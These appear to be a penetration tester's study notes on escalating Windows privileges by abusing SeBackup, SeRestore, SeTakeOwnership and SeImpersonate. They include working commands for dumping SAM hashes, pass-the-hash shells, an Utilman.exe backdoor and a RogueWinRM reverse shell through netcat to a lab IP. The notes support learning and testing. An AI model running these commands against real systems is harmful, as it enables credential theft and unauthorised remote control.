These permission allow full read (SeBackup) and write (SeRestore) access to any file. The first of these allows for exfiltration, while the second allows binaries to be replaced at will (combine with service- or task-based attacks!). The “Backup Operators” group has both of these permissions!
Backup useful registry hives:
reg save HKLM\SYSTEM $PATH_TO_HIVE_FILEreg save HKLM\SAM $PATH_TO_HIVE_FILE
Use Impacket to dump hashes from a hive and perform a pass-the-hash attack:
# Get hashes from SAM/SYSTEM hives#impacket-secretsdump -sam $SAM_HIVE_FILE \ -system $SYSTEM_HIVE_FILE LOCAL# Get a shell by passing a hash#impacket-psexec -hashes $FULL_NTLM_HASH $TARGET_USER@$TARGET_IP
This permission allows a user to take ownership of any file or object (!!!).
# Take ownership of a file#takeown /f $PATH_TO_FILE# Give your user ($USERNAME) full access (F) to said file#icacls $PATH_TO_FILE /grant $USERNAME:F
The “standard” file to replace with cmd.exe with this trick is C:\Windows\System32\Utilman.exe, which provides accessibility services access from lock and login screens.
Windows SeImpersonate and SeAssignPrimaryToken permissions
These permissions allow for user impersonation. On Windows, the Local Service and Network Service accounts already have these privileges; if IIS is installed, there will also often be an IIS AppPool/DefaultAppPool service account with these permissions as well.
However, it isn’t enough to just have access to a service running as a user with these permissions, as Windows will not allow an application to arbitrarily impersonate a user. Instead, we must have a service and then trick/force a highly privileged account to connect to it, at which point impersonation will be allowed.
One way to do this is using the RogueWinRM exploit. The idea here is that when a user logs in, the BITS service creates a connection on port 5985 to the (local) WinRM service (which is used to execute PowerShell commands) as SYSTEM. If the WinRM service isn’t running, RogueWinRM can be run instead to capture these connections (I’m guessing that the WinRM service can also be back-doored using RogueWinRM directly, but that doing so may interfere with system functionality?).
Example RogueWinRM command line:
C:\RogueWinRM.exe -p C:\nc64.exe ` -a "-e cmd.exe 10.13.25.33 4442"